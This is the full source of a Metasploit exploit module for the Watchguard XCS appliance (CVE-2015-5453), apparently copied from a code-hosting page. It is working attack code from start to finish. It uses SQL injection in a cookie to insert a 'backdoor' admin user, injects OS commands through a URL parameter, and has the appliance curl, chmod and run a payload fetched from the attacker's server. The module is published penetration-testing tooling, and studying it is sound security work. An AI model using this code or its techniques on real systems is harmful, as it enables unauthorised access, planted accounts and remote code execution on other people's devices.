Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/http/watchguard_cmd_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Watchguard XCS Remote Command Execution',16'Description' => %q{17This module exploits two separate vulnerabilities found in the Watchguard XCS virtual18appliance to gain command execution. By exploiting an unauthenticated SQL injection, a19remote attacker may insert a valid web user into the appliance database, and get access20to the web interface. On the other hand, a vulnerability in the web interface allows the21attacker to inject operating system commands as the 'nobody' user.22},23'Author' =>24[25'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module26],27'License' => MSF_LICENSE,28'References' =>29[30['CVE', '2015-5453'],31['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']32],33'Platform' => 'bsd',34'Arch' => ARCH_X64,35'Privileged' => false,36'Stance' => Msf::Exploit::Stance::Aggressive,37'Targets' =>38[39[ 'Watchguard XCS 9.2/10.0', { }]40],41'DefaultOptions' =>42{43'SSL' => true44},45'DefaultTarget' => 0,46'DisclosureDate' => '2015-06-29'47))4849register_options(50[51OptString.new('TARGETURI', [true, 'The target URI', '/']),52OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),53OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),54OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),55Opt::RPORT(443)56],57self.class58)59end6061def check62#Check to see if the SQLi is present63res = send_request_cgi({64'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),65'cookie' => "sid=1'"66})6768if res && res.body && res.body.include?('unterminated quoted string')69return Exploit::CheckCode::Vulnerable70end7172Exploit::CheckCode::Safe73end747576def exploit77# Get a valid session by logging in or exploiting SQLi to add user78print_status('Getting a valid session...')79@sid = get_session80print_good('Successfully logged in')8182# Check if cmd injection works83test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')84unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')85fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')86end8788# We have cmd exec, stand up an HTTP server and deliver the payload89vprint_status('Getting ready to drop binary on appliance')9091@elf_sent = false92# Generate payload93@pl = generate_payload_exe9495# Start the server and use primer to trigger fetching and running of the payload96begin97Timeout.timeout(datastore['HTTPDELAY']) { super }98rescue Timeout::Error99end100end101102def attempt_login(username, pwd_clear)103#Attempts to login with the provided user credentials104#Get the login page105get_login_hash = send_request_cgi({106'uri' => normalize_uri(target_uri.path, '/login.spl')107})108109unless get_login_hash && get_login_hash.body110fail_with(Failure::Unreachable, 'Could not get login page.')111end112113#Find the hash token needed to login114login_hash = ''115get_login_hash.body.each_line do |line|116next if line !~ /name="hash" value="(.*)"/117login_hash = $1118break119end120121sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''122if login_hash == '' || sid_cookie == ''123fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')124end125126login_post = {127'u' => "#{username}",128'pwd' => "#{pwd_clear}",129'hash' => login_hash,130'login' => 'Login'131}132print_status('Attempting to login with provided credentials')133login = send_request_cgi({134'uri' => normalize_uri(target_uri.path, '/login.spl'),135'method' => 'POST',136'encode_params' => false,137'cookie' => "sid=#{sid_cookie}",138'vars_post' => login_post,139'vars_get' => {140'f' => 'V'141}142})143144145unless login && login.body && login.body.include?('<title>Loading...</title>')146return nil147end148149sid_cookie150end151152def add_user(user_id, username, pwd_hash, pwd_clear)153#Adds a user to the database using the unauthed SQLi154res = send_request_cgi({155'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),156'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"157})158159unless res && res.body160fail_with(Failure::Unreachable, "Could not connect to host")161end162163if res.body.include?('ERROR: duplicate key value violates unique constraint')164print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")165else166fail_with(Failure::UnexpectedReply, 'Unable to add user to database')167end168169true170end171172def generate_device_hash(cleartext_password)173#Generates the specific hashes needed for the XCS174pre_salt = 'BorderWare '175post_salt = ' some other random (9) stuff'176hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)177final_hash = Rex::Text.md5(cleartext_password + hash_tmp)178179final_hash180end181182def send_cmd_exec(uri, os_cmd, blocking = true)183#This is a handler function that makes HTTP calls to exploit the command injection issue184unless @sid185fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')186end187188opts = {189'uri' => normalize_uri(target_uri.path, "#{uri}"),190'cookie' => "sid=#{@sid}",191'encode_params' => true,192'vars_get' => {193'f' => 'dnld',194'id' => ";#{os_cmd}"195}196}197198if blocking199res = send_request_cgi(opts)200else201res = send_request_cgi(opts, 1)202end203204#Handle cmd exec failures205if res.nil? && blocking206fail_with(Failure::Unknown, 'Failed to exploit command injection.')207end208209res210end211212def get_session213#Gets a valid login session, either valid creds or the SQLi vulnerability214username = datastore['WATCHGUARD_USER']215pwd_clear = datastore['WATCHGUARD_PASSWORD']216user_id = rand(999)217218sid_cookie = attempt_login(username, pwd_clear)219220return sid_cookie unless sid_cookie.nil?221222vprint_error('Failed to login, attempting to add backdoor user...')223pwd_hash = generate_device_hash(pwd_clear)224225unless add_user(user_id, username, pwd_hash, pwd_clear)226fail_with(Failure::Unknown, 'Failed to add user account to database.')227end228229sid_cookie = attempt_login(username, pwd_clear)230231unless sid_cookie232fail_with(Failure::Unknown, 'Unable to login with user account.')233end234235sid_cookie236end237238# Make the server download the payload and run it239def primer240vprint_status('Primer hook called, make the server get and run exploit')241242#Gets the autogenerated uri from the mixin243payload_uri = get_uri244245filename = rand_text_alpha_lower(8)246print_status("Sending download request for #{payload_uri}")247248download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"249vprint_status("Telling appliance to run #{download_cmd}")250send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)251register_file_for_cleanup("/tmp/#{filename}")252253chmod_cmd = "chmod +x /tmp/#{filename}"254vprint_status('Chmoding the payload...')255send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)256257exec_cmd = "/tmp/#{filename}"258vprint_status('Running the payload...')259send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)260261vprint_status('Finished primer hook, raising Timeout::Error manually')262raise(Timeout::Error)263end264265#Handle incoming requests from the server266def on_request_uri(cli, request)267vprint_status("on_request_uri called: #{request.inspect}")268print_status('Sending the payload to the server...')269@elf_sent = true270send_response(cli, @pl)271end272273def autofilter274true275end276end277278279